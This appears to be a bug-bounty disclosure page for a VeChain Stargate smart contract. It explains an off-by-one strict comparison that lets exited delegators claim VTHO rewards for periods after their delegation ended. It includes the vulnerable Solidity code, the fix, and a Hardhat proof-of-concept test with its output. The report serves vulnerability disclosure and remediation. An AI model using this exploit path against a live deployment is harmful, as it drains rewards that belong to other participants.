Skip to content
Business logic Audit finding Intermediate

Delegators can claim rewards beyond delegation end

A strict comparison in the delegation reward logic fails to recognise that a delegation has ended when the next claimable period equals the end period, so the contract treats the delegation as still active. A delegator who has requested to exit can then claim rewards for validator periods after their stake stopped contributing.

danvinci_20 Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

59665 sc high delegators can claim rewards beyond delegation end

Submitted on Nov 14th 2025 at 16:01:20 UTC by @danvinci_20 for Audit Comp | Vechain | Stargate Hayabusa

Description

Summary

The system incorrectly determines the claimable reward periods for a delegated NFT after the delegator has requested to exit.

This occurs because the ended-delegation branch uses a strict comparison:

Solidity
endPeriod > nextClaimablePeriod

instead of the correct:

Solidity
endPeriod >= nextClaimablePeriod

When endPeriod == nextClaimablePeriod, the code fails to recognize that the delegation has already ended and instead treats it as still active. As a result, once new validator periods are completed, the delegator can call claimRewards() to claim rewards for periods after their delegation has already ended, even though their stake is no longer contributing and the validator is no longer using their VET.

This allows delegators to drain rewards for periods they did not stake for, extracting unearned VTHO and destabilizing the reward pool.

Vulnerability Details

Relevant code paths:

Core logic is inside _claimableDelegationPeriods:

Solidity
if (
    endPeriod != type(uint32).max &&
    endPeriod < currentValidatorPeriod &&
    endPeriod > nextClaimablePeriod
) {
    return (nextClaimablePeriod, endPeriod);
}

Because the condition uses a strict endPeriod > nextClaimablePeriod, the ended-delegation branch does not trigger when the staker has claimed up to exactly endPeriod - 1.

The system incorrectly assumes the delegation is still active and falls through to this logic:

Solidity
if (nextClaimablePeriod < currentValidatorPeriod) {
    return (nextClaimablePeriod, completedPeriods);
}

This returns:

(firstClaimable = nextClaimablePeriod,
 lastClaimable = completedPeriods)

Meaning the delegator can now claim rewards for all periods between endPeriod and the current completed period, even though the validator is no longer using their stake.

Impact

Delegators can claim VTHO rewards for validator periods after their delegation has ended, receiving rewards they did not earn.

Recommendation

{% hint style="warning" %} Fix the boundary condition in the ended-delegation branch to be inclusive:

Solidity
endPeriod >= nextClaimablePeriod

This ensures when the delegator has claimed up to endPeriod - 1 (so nextClaimablePeriod == endPeriod), the ended-delegation branch will correctly cap claimable periods to the delegation end. {% endhint %}

Proof of Concept

<details> <summary>PoC: additional helper function and integration test demonstrating the issue</summary>

Add this function to Stargate.sol:

Solidity
function getLastClamiedPeriod(uint256 tokenId) public view returns(uint256) {
    return _getStargateStorage().lastClaimedPeriod[tokenId];
}

Add the following test to test/integration/Delegation.test.ts and run:

yarn hardhat test --network vechain_solo test/integration/Delegation.test.ts

Test (excerpt):

TS
it.only("any user can drain the rewards for periods, they didn't stake for", async () => {
    const paramsKey = "0x00000000000064656c656c656761746f722d636f6e74726163742d61646472657373";
    const stargateAddress = await protocolParamsContract.get(paramsKey);
    const expectedParamsVal = BigInt(await stargateContract.getAddress());
    expect(stargateAddress).to.equal(expectedParamsVal);

    const validatorAddress = await protocolStakerContract.firstActive();
    expect(compareAddresses(validatorAddress, deployer.address)).to.be.true;

    const [leaderGroupSize, queuedValidators] =
        await protocolStakerContract.getValidationsNum();
    expect(leaderGroupSize).to.equal(1);
    expect(queuedValidators).to.equal(0);

    // staking the token here 
    const levelId = 1;
    const levelSpec = await stargateNFTContract.getLevel(levelId);
    const levelVetAmountRequired = levelSpec.vetAmountRequiredToStake;

    // Stake an NFT of level 1
    const stakeTx = await stargateContract
        .connect(user)
        .stake(levelId, { value: levelVetAmountRequired });
    await stakeTx.wait();

    // Assert owner and maturity
    const tokenId = await stargateNFTContract.getCurrentTokenId();
    expect(await stargateNFTContract.ownerOf(tokenId)).to.equal(user.address);
    expect(await stargateNFTContract.isUnderMaturityPeriod(tokenId)).to.be.true;

    // Fast-forward until the NFT is mature
    await mineBlocks(Number(levelSpec.maturityBlocks));

    expect(await stargateNFTContract.isUnderMaturityPeriod(tokenId)).to.be.false;

    // Delegate the NFT
    const delegateTx = await stargateContract.connect(user).delegate(tokenId, deployer.address);
    await delegateTx.wait();

    const delegation = await stargateContract.getDelegationDetails(tokenId);
    let [start,] = await protocolStakerContract.getDelegationPeriodDetails(delegation.delegationId);

    let [period,startBlock,,completedPeriods] = await protocolStakerContract.getValidationPeriodDetails(deployer.address);

    await fastForwardValidatorPeriods(Number(period), Number(startBlock), 5);

    [,,,completedPeriods] = await protocolStakerContract.getValidationPeriodDetails(deployer.address);

    let delegatorRewards = await protocolStakerContract.getDelegatorsRewards(deployer.address, 2);

    // claim accumulated rewards
    const claimTx = await stargateContract.connect(user).claimRewards(tokenId);
    await claimTx.wait();

    let lastClaimedperiod = await stargateContract.getLastClamiedPeriod(tokenId);

    const exitTx = await stargateContract.connect(user).requestDelegationExit(tokenId);
    await exitTx.wait();

    let [,endPeriod] = await protocolStakerContract.getDelegationPeriodDetails(delegation.delegationId);

    await fastForwardValidatorPeriods(Number(period), Number(startBlock), 10);

    [,,,completedPeriods] = await protocolStakerContract.getValidationPeriodDetails(deployer.address);

    let [firstclaimableNow, lastClaimableNow] = await stargateContract.claimableDelegationPeriods(tokenId);
});

Observed output (relevant lines):

start period of delegation:  2n
completedPeriods After:  6n
lastClaimedperiod:  6n
endPeriod:  7n
completedPeriods After:  17n
claimable periods:  7n 17n
✔ any user can drain the rewards for periods, they didn't stake for (48618ms)

This demonstrates that after requesting exit (endPeriod == 7) and having last claimed period == 6, the contract reports claimable periods starting at 7 and extending to 17, allowing claims for periods after delegation end.

</details>

The original report as published on Immunefi, by danvinci_20. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely an off-by-one boundary error: the ended-delegation check uses a strict greater-than comparison instead of greater-than-or-equal, so the equality case falls through to the active-delegation branch.

Impact

Delegators could claim VTHO rewards for periods after their delegation ended, receiving rewards they did not earn and draining the reward pool.

What the attacker needed

A staked and mature NFT; delegation to a validator; request delegation exit; claim rewards up to endPeriod - 1

The fix

The boundary condition in the ended-delegation branch should be made inclusive by using greater-than-or-equal instead of strict greater-than.

How it was found

  1. Stake an NFT of level 1 and wait until it is mature.
  2. Delegate the NFT to a validator.
  3. Fast-forward several validator periods and claim accumulated rewards.
  4. Request delegation exit and note the end period.
  5. Fast-forward more validator periods.
  6. Observe that claimable periods now start at the end period and extend to the current completed period.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When someone stakes tokens through a delegation, they earn rewards for each period their stake is used. The contract is meant to stop rewards at the period the delegation ends. A small mistake in a comparison means that if the last claimed period is exactly one before the end, the contract thinks the delegation is still running and lets the person claim rewards for later periods too.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by danvinci_20

View all

22 more disclosed reports, best first.

More from Vechain | Stargate Hayabusa

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.